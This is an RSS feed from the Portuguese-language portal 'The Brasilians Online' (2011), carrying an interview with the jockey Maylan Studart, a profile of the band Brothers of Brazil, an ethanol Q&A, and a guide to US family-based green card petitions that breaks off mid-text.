<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Brasilians Online</title>
	<atom:link href="http://thebrasiliansonline.com/portal/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://thebrasiliansonline.com/portal</link>
	<description></description>
	<lastBuildDate>Sat, 09 Jul 2011 12:54:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>A garota de Ipanema que cavalga em Nova York</title>
		<link>http://thebrasiliansonline.com/portal/?p=247</link>
		<comments>http://thebrasiliansonline.com/portal/?p=247#comments</comments>
		<pubDate>Sat, 09 Jul 2011 12:53:16 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Interesse]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=247</guid>
		<description><![CDATA[Por Teresa Pinto-Johnson
Maylan Studart, a garota de Ipanema, aos 22 anos de idade, ocupa um lugar de destaque entre os jóquéis profissionais dos Estados Unidos.
Ela descobriu a sua paixão por cavalos ainda na infância. Em ...]]></description>
			<content:encoded><![CDATA[<p>Por Teresa Pinto-Johnson</p>
<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/07/MAYLAN.jpg"><img class="alignleft size-medium wp-image-248" title="MAYLAN" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/07/MAYLAN-300x241.jpg" alt="" width="300" height="241" /></a>Maylan Studart, a garota de Ipanema, aos 22 anos de idade, ocupa um lugar de destaque entre os jóquéis profissionais dos Estados Unidos.</p>
<p>Ela descobriu a sua paixão por cavalos ainda na infância. Em 2005, apresentáva-se em shows de saltos sobre barreiras mas, viu-se obrigada a cancelar seus treinamentos, por problemas financeiros em sua família. Nesta fase , a joqueta para se manter perto das atividades equestres, matriculou- se na escola preparatória de jóquéis no hipódromo da Gávea, Rio de Janeiro.<span id="more-247"></span></p>
<p>Dos 7 aos 11 anos, Maylan viveu na California e integrou-se rapidamente à cultura norte-americana. Ela lembra-se das dificuldades de readaptação à terra Brasilis depois de tantos ano na América, que agravou-se com os problemas de saúde do seu padrasto.</p>
<p>Entretanto, tudo isso não foi suficiente para tornar o sonho impossível! O gosto pelas corridas de cavalo ferviam em suas veias! Aquela menina precoce e determinada, aos 14 anos de idade, contatou um jornalista americano dedicado às corridas de cavalo, com quem manteve conversação via internet por um ano e meio! Isso foi o suficiente para a estrela brilhar!</p>
<p>O resultado de tamanha persistência já era esperado&#8230; ele a indicou ao treinador brasileiro J.J. Graci. E, Claro! Assinou o pedido para a sua transferência profissional, sendo o maior responsável pela a sua volta aos Estados Unidos.</p>
<p>Em novembro de 2010 Maylan Studart foi agraciada com comenda de Honra ao Mérito, “Cruz do Mérito do Empreendedor Juscelino Kubitschek” &#8211; a &#8220;Jóia de JK&#8221;, nas Nações Unidas. É considerada a mais distinta Condecoração da Sociedade Brasileira em Edição Especial -EUA, Homenagem Especial ao Emigrante Brasileiro.</p>
<p>Na continuidade uma entrevista exclusiva com Maylan Studart ao The Brasilians.</p>
<p><strong>The Brasilians:</strong> Maylan Studart quantas corridas oficiais você já ganhou nos Estados Unidos? Aonde e quando?</p>
<p><strong>Maylan Studart:</strong> Eu não conto! Mas, oficiais nos Estados Unidos creio que mais de 70! Ganhei corridas em Miami, Filadélfia e Nova York. Sem contar as corridas realizadas no Brasil, Rio de Janeiro, Porto Alegre e São Paulo.</p>
<p><strong>TB:</strong> Hoje no Brasil quantas mulheres estão competindo como profissionais nas corridas de cavalo?</p>
<p><strong>MS:</strong> Atualmente, tem uma menina a Marcela Martins. Somos da mesma escola de Aprendizes do Jockey Club da Gávea. Ela tornou-se minha fã! Deve estrear este mês!</p>
<p>Passamos pelas mesmas fazes de aprendizado. Estou muito feliz por ela! E, em São Paulo creio que há mais de 3 meninas?! Não tenho certeza&#8230;</p>
<p><strong>TB:</strong> Como você conheceu o jornalista John DaSilva, que cobre as corridas de cavalo para o jornal New York Post, e qual foi a influência dele na sua vida?</p>
<p><strong>MS:</strong> Conheci ele pela internet, conversando sobre as diferenças das corridas do Brasil e dos Estados Unidos. Foi através de John, que finalmente conseguí um agente de montarias, que me trouxe para a América para começar a montar. Por causa dele minha transferência para os Estados Unidos foi possível!</p>
<p><strong>TB:</strong> Aonde você está morando agora, Brasil ou USA?</p>
<p><strong>MS:</strong> Moro em Nova York, USA.</p>
<p><strong>TB:</strong> Historicamente, as mulheres tiverem que lutar muito por um espaço em jogos e corridas. Ainda, há resistência no meio equestre por você ser mulher?</p>
<p><strong>MS:</strong> Sim. Ainda há resistência! As mulheres apenas conseguiram direitos iguais muito recentemente na história. E, até hoje é difícil um homem aceitar perder para uma mulher&#8230; No meio equestre ainda acham que as mulheres são mais fracas que os homens.</p>
<p>O que é um pensamento de cabeça fechada. Não preciso ser mais forte que ninguém se faço o trabalho melhor&#8230; Não é questão de força física e sim de talento e técnica para obter sucesso!</p>
<p><strong>TB:</strong> Quais foram as dificuldades iniciais? Você curtiu a fase de doublê para as cenas de montaria das novelas?</p>
<p><strong>MS:</strong> Dificuldade de ser aceita por ser de classe média. Normalmente, os jóquéis no Brasil vem do interior ou, de prévias de jóquéis ou, de treinadores ou, de família. Não venho de uma família tradicional de corridas de cavalo. Sou mulher e de Ipanema! Isto é difícil de aceitar, um “outsider”. Mas, graças a D-us passei por todos os obstáculos.</p>
<p>Agora&#8230; foi muito legal trabalhar como dublê, até sinto falta ás vezes! Trabalhei com Impacto Dublês para a Rede Globo em 1 minisérie e 2 novelas, se me lembro bem&#8230; Mas, eu amo montar os cavalos e tive que seguir com meu sonho&#8230;</p>
<p><strong>TB:</strong> Qual é o seu objetivo na carreira?</p>
<p><strong>MS:</strong> Ganhar muuuuuitas corridas e ser respeitada no ramo. Quero que o país inteiro saiba quem Maylan Studart é! Com bastante trabalho e prática eu chegarei lá. Eu tenho que pagar minhas dívidas!</p>
<p><strong>TB:</strong> Quem é Maylan Studart?</p>
<p><strong>MS:</strong> Uma menina brasileira, judia de Ipanema que tem um sonho de ser joqueta. Ela segue seu coração e com ajuda de D-us ela chegará ao topo!</p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=247&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=247</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Supla e João, a nova música brasileira</title>
		<link>http://thebrasiliansonline.com/portal/?p=242</link>
		<comments>http://thebrasiliansonline.com/portal/?p=242#comments</comments>
		<pubDate>Sat, 09 Jul 2011 12:44:06 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Enfoque]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=242</guid>
		<description><![CDATA[A banda Brothers Of Brasil tem como os seus criadores os irmãos Suplicy – Supla, o roqueiro, e João, o bossa-nova. Como é dito que os opostos se atraem, aqui ficou confirmado que o resultado ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/07/suppla.jpg"><img class="alignleft size-medium wp-image-243" title="suppla" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/07/suppla-300x199.jpg" alt="" width="300" height="199" /></a>A banda Brothers Of Brasil tem como os seus criadores os irmãos Suplicy – Supla, o roqueiro, e João, o bossa-nova. Como é dito que os opostos se atraem, aqui ficou confirmado que o resultado desta união excêntrica foi o melhor possível: um novo estilo de música foi criado! <span id="more-242"></span></p>
<p>Nos últimos três anos, Supla e João têm feito algumas das mais originais músicas, combinando elementos da música tradicional brasileira, como bossa nova e samba, com rock e funk, para criar um som único, que conquistou inúmeros fãs na América do Sul. Agora a dupla está finalmente pronta para expandir a nível mundial com o lançamento do seu primeiro álbum .</p>
<p>O Brothers of Brazil escreve um novo capítulo da sua carreira. A dupla assinou contrato com a gravadora norte-americana SideOnneDummy. Com base em Los Angeles, a gravadora lançou bandas como The Gaslight Anthem e Gogol Bordello (que tocou no Brasil em 2008 e 2009) e sua especialidade é Punk Rock e suas variações. Estão ali sonoridades como Ska, Hardcore e até Celtic Punk, uma versão do estilo musical influenciado pelo Folk. Com esse DNA, a gravadora se interessou pela junção da Bossa Nova com o Punk, dos irmãos Suplicy, e lançará o álbum PunkaNova no exterior. Assim como fizeram com Gogol Bordello, a gravadora incluiu os Brothers na concorrida Warped Tour, uma série de 44 shows espalhados pelos Estados Unidos durante o verão de 2011. Além dessa turnê, os irmãos apresentam seu show na Califórnia e em Nova York.</p>
<p>O contrato surge após turnê pelo Reino Unido. Na terra da rainha, a dupla dividiu o palco em 12 shows com Hugh Cornwell, do Stranglers. Cornweell e o Stranglers são considerados peças-chave da história do Punk, sonoridade que explodiu em 1977.</p>
<p>Em 2010, mais um grande festival. A dupla se apresentou no SWU, evento realizado durante três dias e reuniu 150 mil pessoas, que viram shows de bandas como Queens of the Stone Age e Kings of Leon.</p>
<p>Os irmãos já tocaram em grandes festivais como o Planeta Terra e o SWU Music + Arts Festival, bem como Rock In Rio em Portugal. E agora não poderiam estar mais animados sobre finalmente ter um lançamento mundial para o Brothers Of Brasil.</p>
<p>Mas o pontapé inicial dessa história aconteceu em 2007, quase por acaso. Os dois irmãos fizeram um show no berço do punk londrino, a Candem Town. Na plateia, Bernard Rhodes, ex-empresário do The Clash, batizou ali mesmo a dupla: “Brothers of Brazil”.</p>
<p>Estimulados pela ótima receptividade, os irmãos se trancam no estúdio e começam a compor. Depois de alguns shows surpresas em São Paulo para testar o repertório, o Brothers embarca para os EUA para se apresentar na Fashion Week de Nova York, e em outros shows em Los Angeles.</p>
<p>De volta ao Brasil, os Brothers aterrissaram e foram direto para apresentação em Capão Redondo, zona sul de São Paulo. Mantendo o ritmo frenético, a dupla embarcou no dia seguinte para mais shows em Paris, Londres e Bruxelas. Essa mini-turnê européia rendeu um convite para o Rock in Rio Lisboa 2008, onde se apresentaram no palco Sunset para um público de vinte mil pessoas. Novo retorno, e mais uma série de shows espalhados pelo Brasil, passando por Curitiba, São Paulo, Salvador, João Pessoa, Florianópolis e Rio de Janeiro</p>
<p>O passo seguinte foi a edição 2008 do Planeta Terra – festival que trouxe ao Brasil em outubro daquele ano bandas como Kaiser Chiefs, Offspring e Breeders. Lá os Brothers abriram os trabalhos do Indie Stage. Já entrosados por uma intensa turnê com dezenas de apresentações, o show foi eleito pelos internautas como o melhor dentre as atrações nacionais do festival.</p>
<p>O ano de 2009 começou com os Brothers em mais uma turnê de dez shows nos EUA, e uma temporada de gravações no estúdio do cantor-surfista Jack Johnson, sob o comando do conceituado Mário Caldato Jr. (produtor de discos de Beastie Boys, Jack Johnson, Marcelo D2, entre outros). Essa temporada se estendeu até o Rio de Janeiro, com mais shows e mais sessões de estúdio para dar forma ao primeiro álbum da dupla, PunkNova, que será lançado agora pelo SideOnneDummy.</p>
<p>Para outras informações por favor acessar o link <a title="http://sideonedummy.com/bands/brothers-of-brazil" href="http://sideonedummy.com/bands/brothers-of-brazil" target="_blank">http://sideonedummy.com/bands/brothers-of-brazil</a> e/ou contatar a produtora Jenn Littleton (310) 428-7956 e <a title="mailto:jenn.littleton@gmail.com" href="mailto:jenn.littleton@gmail.com">jenn.littleton@gmail.com</a></p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=242&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=242</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Entenda o que é Etanol</title>
		<link>http://thebrasiliansonline.com/portal/?p=231</link>
		<comments>http://thebrasiliansonline.com/portal/?p=231#comments</comments>
		<pubDate>Thu, 05 May 2011 11:59:29 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Interesse]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=231</guid>
		<description><![CDATA[Em meio aos esforços do governo e de empresários brasileiros para promover o etanol combustível e minimizar as resistências ao produto na Europa, representantes da Organização das Nações Unidas (ONU) fizeram duras críticas ao uso ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/Ethanol1.jpg"><img class="alignleft size-medium wp-image-232" title="Ethanol1" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/Ethanol1-300x199.jpg" alt="" width="300" height="199" /></a>Em meio aos esforços do governo e de empresários brasileiros para promover o etanol combustível e minimizar as resistências ao produto na Europa, representantes da Organização das Nações Unidas (ONU) fizeram duras críticas ao uso em larga escala dos biocombustíveis como alternativa às fontes de energia fósseis. Isso porque o etanol é relacionado por seus críticos ao aumento nos preços mundiais de alimentos. A suspeita já fez com que o mercado europeu se fechasse um pouco mais contra o combustível verde. O etanol americano, produzido com milho, seria um dos responsáveis pela alta dos preços dos alimentos no mundo nos últimos meses. O etanol brasileiro também pode ser apontado como um dos culpados? Entenda os argumentos de quem é contra e a favor do etanol &#8211; e também de que forma sua produção teria influência na inflação dos alimentos.<span id="more-231"></span></p>
<p>Mas o que é Etanol ?</p>
<p>O etanol (álcool etílico) é um álcool derivado de cereais e vegetais. No Brasil, utiliza-se a cana-de-açúcar para a produção do etanol, enquanto nos Estados Unidos e México é utilizado o milho.   É utilizado na fabricação de bebidas alcoólicas fermentadas (cerveja, aguardente, vinho), produtos de limpeza doméstica e também de combustíveis para automóveis.  Apresenta-se na forma de um líquido incolor e sua fórmula química é C<sub>2</sub>H<sub>5</sub>OH</p>
<p>1. A produção de etanol pode prejudicar a produção de alimentos no mundo?</p>
<p>Dificilmente, já que isso apenas aconteceria caso os países utilizassem a produção agrícola com fins energéticos em detrimento dos alimentos. Atualmente, o mundo produz mais alimento do que consome. Parte da alta de preços de alimentos no planeta pode ser atribuída à expansão da lavoura de milho voltada para a produção de etanol nos Estados Unidos. No Brasil, porém, são poucas as chances de isso ocorrer. Dos 355 milhões de hectares disponíveis para plantio no país, somente 90 milhões seriam adequados à cultura de cana, que atualmente ocupa apenas 7,2 milhões de hectares (metade deles para a produção de açúcar). Em São Paulo, por exemplo, a plantação de cana ocupou nos últimos anos o espaço de pastagens &#8211; sem que a produção de carne bovina tenha diminuído.</p>
<p>2. Se isso acontecer, quais serão os efeitos?</p>
<p>A redução das superfícies destinadas aos alimentos contribuiria para o aumento dos preços dos mantimentos. O que tem mais chance de acontecer, porém, é um deslocamento das lavouras à medida que a cana dominar os espaços antes ocupados por outras culturas. Pode haver ajustes de preços regionais por causa de mudanças na logística de abastecimento. Não se pode, contudo, desprezar o fato de que os avanços da tecnologia agrícola poderão prover grandes aumentos de produtividade nos próximos anos. E que as nações ricas poderão eliminar barreiras e subsídios que sufocam a produção nos países pobres.</p>
<p>3. De que forma o etanol estaria ligado à inflação nos preços dos alimentos?</p>
<p>O principal problema tem relação com o etanol produzido nos Estados Unidos. O Fundo Monetário Internacional (FMI) estima que a produção de etanol americana é responsável por metade do aumento da demanda mundial de milho nos últimos três anos. Isso aumentou o preço do milho e o preço das rações. Dessa forma, aumentam também os custos de produtos bovinos e suínos, já que o milho é usado em rações animais. De acordo com o Departamento de Agricultura, o mesmo ocorreu com outras colheitas &#8211; principalmente soja &#8211; quando os produtores decidiram mudar seus cultivos para o milho.</p>
<p>4. Com base em quais argumentos a ONU tem criti-cado a produção do etanol?</p>
<p>Segundo o relator especial da ONU para o Direito à Alimentação, Jean Ziegler, a produção em massa de biocombustíveis representa um &#8220;crime contra a humanidade&#8221; por seu impacto nos preços mundiais dos alimentos. Isso porque as terras que deveriam ser usadas para a produção de alimentos serão supostamente destinadas ao plantio das matérias-primas para a fabricação de etanol. Em outubro do ano passado, Ziegler elaborou um relatório para pedir uma moratória de cinco anos na produção do etanol. Durante esse período, os governos precisariam avaliar os impactos sociais, ambientais e de direitos humanos que a produção de etanol geraria.</p>
<p>5. O que dizem os países europeus sobre essa questão?</p>
<p>A Comissão Européia já indicou que vai propor a supressão das subvenções para os cultivos destinados à produção de biocombustíveis. Vários dirigentes europeus manifestaram preocupação com a utilização da produção agrícola com fins energéticos ao invés de alimentos. Entre eles está o ministro da Agricultura da França, Michel Barnier, que disse: &#8220;A produção agrícola com fins alimentares deve ser claramente prioritária&#8221;.</p>
<p>6. O que dizem as ONGs que criticam o uso dos biocombustíveis?</p>
<p>As ONGs passaram a acusar o etanol de roubar espaço dos alimentos no campo e dizem que os usineiros do Brasil querem avançar a área de plantio de cana na floresta amazônica, o que contribuiria ainda mais para o desmatamento. No exterior, a ONG britânica Oxfam afirma que o etanol é uma ameaça para milhões de pessoas dos países em vias de desenvolvimento, vulneráveis ao encarecimento dos alimentos básicos como os cereais. A Oxfam se baseia em um estudo do International Food Policy Research Institute, segundo o qual a demanda de biocombustíveis é responsável por aproximadamente 30% dos últimos incrementos do preço dos alimentos. Essa variação repercute, sobretudo, nos mais pobres do mundo, que dedicam à comida entre 50% e 80% de sua receita, o que significa que qualquer aumento nos preços reduzirá o consumo de alimentos e aumentará a fome.</p>
<p>7. Quais são os principais países produtores de etanol?</p>
<p>Brasil (cana-de-açúcar), Estados Unidos (principalmente milho, mas com boa perspectiva de chegar primeiro ao etanol de celulose), Canadá (trigo e milho), China (mandioca), Índia (cana, melaço) e Colômbia (cana e óleo de palma). A Alemanha produz metade do biodiesel do mundo.</p>
<p>8. Por que o etanol brasileiro tem mais vantagens do que o americano?</p>
<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/ch3ch2oh.jpg"><img class="alignright size-medium wp-image-238" title="ch3ch2oh" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/ch3ch2oh-288x300.jpg" alt="" width="288" height="300" /></a>As principais críticas dizem respeito ao modo de produção. O etanol americano é feito a base de milho e conta com fortes subsídios por parte do governo do país. Para entrar nos Estados Unidos, o etanol brasileiro enfrenta uma tarifa de 0,54 dólares. Além disso, o etanol feito de milho contribui para o aumento do preço do cereal e tem um peso negativo diante da atual inflação de alimentos. O etanol brasileiro tem ainda outras vantagens. A primeira é a limpeza. Para cada litro de gasolina utilizado na lavoura ou na indústria, são produzidos 9,2 litros de etanol. No caso do etanol de milho, essa relação cai para 1,4 litro de etanol para cada litro de combustível fóssil empregado no processo. A segunda é a produtividade. No Brasil, são produzidos 7 500 litros de etanol por hectare plantado de cana. No caso do milho, cada hectare produz 3 000 litros.</p>
<p>9. Qual é o limite máximo da produção para não prejudicar as outras culturas?</p>
<p>Em tese, há ainda 77 milhões de hectares a ser ocupados no Brasil sem afetar o espaço dedicado a outras culturas. Atualmente, a cana-de-açúcar ocupa 7,2 milhões de hectares, menos do que a soja (21 milhões) e o milho (14,4 milhões).</p>
<p>10. Na América Latina, quais países já se manifes-taram contra o etanol?</p>
<p>Bolívia, Cuba e Venezuela. Havana chegou a propor que a ONU comece um estudo para avaliar até que ponto o etanol, tanto de milho como de cana-de-açúcar, afetam a produção de alimentos no mundo, O presidente boliviano Evo Morales foi um dos principais defensores da moratória de cinco anos para a produção de etanol proposta pela ONU. Já o líder venezuelano Hugo Chávez teme que o crescimento do etanol no mercado internacional possa prejudicar as exportações venezuelanas de petróleo &#8211; commodity da qual o país do caudilho é um dos principais produtores. Para diplomatas da ONU, o temor desses países é de que o etanol leve o governo americano a ter maior influência sobre os governos da América Central.</p>
<p>11. De que forma o governo brasileiro tem contra-atacado os críticos do etanol?</p>
<p>Quanto às críticas cubanas, o Brasil explicou a Havana que o etanol já é produzido por aqui há 35 anos e isso nunca implicou uma redução da área destinada à agricultura. Além disso, o Planalto convidou os cubanos a fazer uma visita ao Brasil para conhecer a produção de cana e propôs um plano de cooperação com Cuba para melhorar a qualidade da cana produzida na ilha, para que Havana também possa fabricar etanol. O presidente Luiz Inácio Lula da Silva tem feito uma defesa ferrenha do etanol em viagens pela Europa. Sua estratégia envolve o apoio de empresários brasileiros do setor sucroalcooleiro, interessados em atrair investimentos europeus. Lula acusou o relator especial da ONU, Jean Ziegler, de não conhecer a realidade brasileira, o que é verdade. O sociólogo suíço é um socialista radical que há muito tempo critica o etanol como se não houvesse outras razões para o aumento dos preços. O presidente chegou a dizer que acusar a produção de biocombustíveis como responsável pelo aumento da inflação é &#8220;uma falácia, uma mentira deslavada&#8221;. Para Lula, os preços dos alimentos têm subido porque &#8220;os pobres do mundo começaram a comer&#8221;.</p>
<p>12. Por que não se pode culpar somente os biocom-bustíveis pela dos preços dos alimentos?</p>
<p>O que está acontecendo no mundo é um desequilíbrio entre a oferta e a demanda de alimentos. Isso ocorre porque houve um crescimento explosivo da demanda entre os consumidores dos países emergentes, cuja renda per capita cresceu muito nos últimos três anos. Além disso, a oferta diminuiu devido às secas. Nos últimos três anos, houve secas tão profundas no sul do Brasil que perdemos 40 milhões de toneladas de grãos. O problema ocorreu também em outros países, como Austrália e Ucrânia. A diminuição da oferta e a demanda crescente tiveram como conseqüência imediata o aumento dos preços.</p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=231&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=231</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como obter visto de permanência</title>
		<link>http://thebrasiliansonline.com/portal/?p=225</link>
		<comments>http://thebrasiliansonline.com/portal/?p=225#comments</comments>
		<pubDate>Thu, 05 May 2011 11:43:38 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Imigração]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=225</guid>
		<description><![CDATA[Um residente permanente legal é uma pessoa que nasceu em outro país e obteve o privilégio de morar e trabalhar permanentemente nos Estados Unidos. Muitos sabem que um visto permanente é um greencard. Para tornar-se ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/documents.jpg"><img class="alignleft size-medium wp-image-229" title="documents" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/documents-300x199.jpg" alt="" width="300" height="199" /></a>Um residente permanente legal é uma pessoa que nasceu em outro país e obteve o privilégio de morar e trabalhar permanentemente nos Estados Unidos. Muitos sabem que um visto permanente é um greencard. Para tornar-se um residente permanente legal baseado no fato que você tem um parente que é cidadão dos Estados Unidos ou residente permanente legal, você deve passar ­por um processo que exige vários passos.<span id="more-225"></span></p>
<p>Primeiramente, uma petição de visto de imigrante, a I-130 Petição para Parente Estrangeiro, deve ser protocolada e aprovada pelo USCIS. Esta petição é preenchida pelo seu parente (patrocinador) e deve ser acompanhada pelo comprovante de sua relação com o parente patrocinador.</p>
<p>Segundo, para continuar com o processo, o Departamento de Estado deve ter um número de visto de imigrante disponível imediatamente para você. Isto é exigido, mesmo que o pretenso imigrante já esteja nos Estados Unidos. MAS OBSERVE CUIDADOSAMENTE, há basicamente vistos ilimitados para PARENTES IMEDIATOS (cônjuges de cidadãos americanos, filhos menores de cidadãos americanos e pais de um cidadão americano maior de 21 anos de idade). Quando o seu número de visto de imigrante se torna imediatamente disponível, você tem que solicitar para ter um dos números de visto de imigrante designados para você. Você pode verificar o status de um número de visto no Boletim de Vistos do Departamento de Estado.</p>
<p>Terceiro, se você já está nos Estados Unidos, você pode solicitar a mudança de status para residente permanente legal depois que o seu número de visto se tornar disponível (ou imediatamente se você é PARENTE IMEDIATO). Se você está fora dos Estados Unidos quando um número de visto de imigrante se tornar disponível, você então deve ir ao Consulado Americano que serve a área na qual você reside, para completar seu processamento.</p>
<p><strong>Elegibilidade</strong></p>
<p>Para ser elegível para patrocinar um parente para o mesmo imigrar aos Estados Unidos, você deve atender os seguintes critérios:</p>
<p>1. Você deve ser um cidadão ou um residente permanente dos Estados Unidos e ser capaz de fornecer a documentação provando seu status.</p>
<p>2. Se você é um cidadão americano, você deve requerer para os seguintes parentes estrangeiros para imigrar aos Estados Unidos; no entanto, você deve fornecer prova de vínculo familiar:</p>
<p>·Esposo ou esposa;</p>
<p>·Filho solteiro menor de 21 anos de idade;</p>
<p>·Filho ou filha solteira maior de 21 anos;</p>
<p>·Filho ou filha solteira de qualquer idade;</p>
<p>·Irmão ou irmão, se você tem no mínimo 21 anos de idade;</p>
<p>·Pais, se você tem no mínimo 21 anos de idade.</p>
<p>3. Se você é um residente permanente legal, você pode requerer para os seguintes parentes estrangeiros para imigrar aos Estados Unidos, no entanto, você deve apresentar prova de vínculo familiar:</p>
<p>·Esposo ou esposa</p>
<p>·Filho ou filha solteira de qualquer de idade</p>
<p>4. Você deve provar que você pode manter seu parente em 125% acima da escala de pobreza proposta. Isto é feito através do preenchimento de um formulário chamado Affidavit of Support (Declaração de Manutenção).</p>
<p>Categorias de preferência</p>
<p>A menos que seu parente seja um PARENTE IMEDIATO, o parente deve obter um número de visto que é baseado na categoria de preferência na qual ele se enquadra.</p>
<p>Pessoas que desejam se tornar imigrantes são classificados em categorias baseadas num sistema de preferência. Os parentes imediatos de cidadãos americanos, que incluem pais, esposos (as) e filhos solteiros menores de 21 anos, não precisam esperar por um número de visto de imigrante se tornar disponível uma vez que a petição submetida para eles for aprovada pelo USCIS. Um número de visto de imigrante estará imediatamente disponível para parentes imediatos de cidadãos americanos. Os parentes das demais categorias devem esperar por um número de visto se tornar disponível de acordo com as seguintes preferências:</p>
<p>·Primeira Preferência: adultos maiores de 21 anos, solteiros e filhos de cidadãos americanos.</p>
<p>·Segunda Preferência: Esposos e filhos menores de 21 anos de residentes permanentes legais, e os filhos e filhas solteiras de residentes permanentes legais.</p>
<p>·Terceira preferência: Filhos (as) casados de cidadãos americanos.</p>
<p>·Quarta preferência: Irmãos e irmãs de cidadãos americanos adultos.</p>
<p>Assim que o USCIS recebe sua petição de visto, o I-130 Petição para Parente Estrangeiro, será aprovado ou negado. A pessoa que submeteu a petição de visto será notificada se a petição for aprovada, e então, a petição de visto aprovada será enviada ao Centro Nacional de Visto do Departamento de Estado, onde permanecerá até que o número do visto de imigrante se torne corrente. O Centro notificará o cidadão estrangeiro quando a petição de visto for recebida e novamente quando um número de visto de imigrante estiver disponível. Você não precisa contatar o Centro Nacional de Visto, a menos que você queira mudar o seu endereço ou ocorra uma mudança em sua situação pessoal ou na do seu parente estrangeiro, que possa afetar a elegibilidade para um visto de imigrante, como alcançar a idade de 21 anos, casamento, divórcio ou falecimento do cônjuge.</p>
<p>O Boletim de Visto deve ser verificado regularmente para ver se a Data de Prioridade está corrente, então o processo pode ser concluído.</p>
<p><strong>·Esposo(a)</strong></p>
<p>Se você é um cidadão americano e seu esposo(a) está nos Estados Unidos e entrou com um visto ou um programa de dispensa de visto, ou qualifica sob a seção 245(i) das leis de imigração.</p>
<p>Se você é um cidadão americano, seu esposo (a) é considerado um &#8220;parente imediato&#8221; e precisará solicitar um visto de imigrante. Para receber um visto de imigrante sua relação com seu esposo(a) precisa ser estabelecida e o mesmo deve ser admitido nos Estados Unidos sob as leis de imigração. O esposo(a) de um cidadão americano pode qualificar para &#8220;ajuste de status&#8221; enquanto nos Estados Unidos como um imigrante &#8220;parente imediato.&#8221; Isto pode ser feito somente se o esposo(a) estrangeiro (1) entrou com um visto ou programa de dispensa de visto, ou se entrou ilegalmente (2) submeteu uma solicitação sob a Seção 245 (i) para status de imigrante antes de 30/04/01. Todos os demais esposos (as) de cidadãos americanos que entraram ilegalmente nos Estados Unidos devem processar o visto e talvez tenham que solicitar um perdão para os 3/10 anos de impedimento.</p>
<p>O pedido de ajuste de status é submetido junto ao escritório local do USCIS da jurisdição que corresponda ao local de residência do requerente (patrocinador). O pacote geralmente é submetido com uma solicitação para Autorização de Trabalho, e se desejar uma permissão para viajar durante o processo (Advance Parole). Poucos meses depois uma notificação é enviada, direcionando o solicitante a (1) comparecer para o processamento da autorização de trabalho (EAD) (2) tomar as impressões digitais (3) comparecer para a entrevista de ajuste de status. Se for casado menos de 2 anos na data da entrevista de ajuste de status, o esposo (a) ganhará o Status de Residente Condicional por um período de 2 anos. Ao final dos 2 anos, você deverá submeter um pedido para remover o status condicional e converter para um greencard permanente (I-751). Se você se separou antes do final de 2 anos, você ainda pode solicitar uma conversão do seu greencard condicional para um permanente, submetendo um I-751 Pedido de Perdão. Se for casado mais de 2 anos na data da entrevista, o esposo (a) ganhará o greencard permanente válido por 10 anos. Dois anos e nove meses depois do recebimento do greencard condicional, você se qualifica para pedir a cidadania americana. Se você não está vivendo com o esposo (a) patrocinador, então o pedido de cidadania pode ser feito somente com 4 anos e 9 meses depois do recebimento do greencard condicional.</p>
<p>Se você é um residente permanente legal e seu esposo (a) está nos Estados Unidos em status legal ou se registrou através da Seção 245(i) do Ato de Imigração</p>
<p>O esposo (a) de um residente permanente legal pode qualificar para &#8220;ajuste de status&#8221; enquanto nos Estados Unidos como um imigrante de &#8220;segunda preferência&#8221;. Isto pode ser feito somente se o esposo (a) estrangeiro (1) entrou com um visto e atualmente está em status legal, ou se ele/ela entrou ilegalmente ou se tornou ilegal e ainda submeteu um pedido para status de imigrante junto ao USCIS ou junto ao Departamento de Trabalho para um certificado de trabalho antes de 30/04/01, ou foi o beneficiário de tal petição.</p>
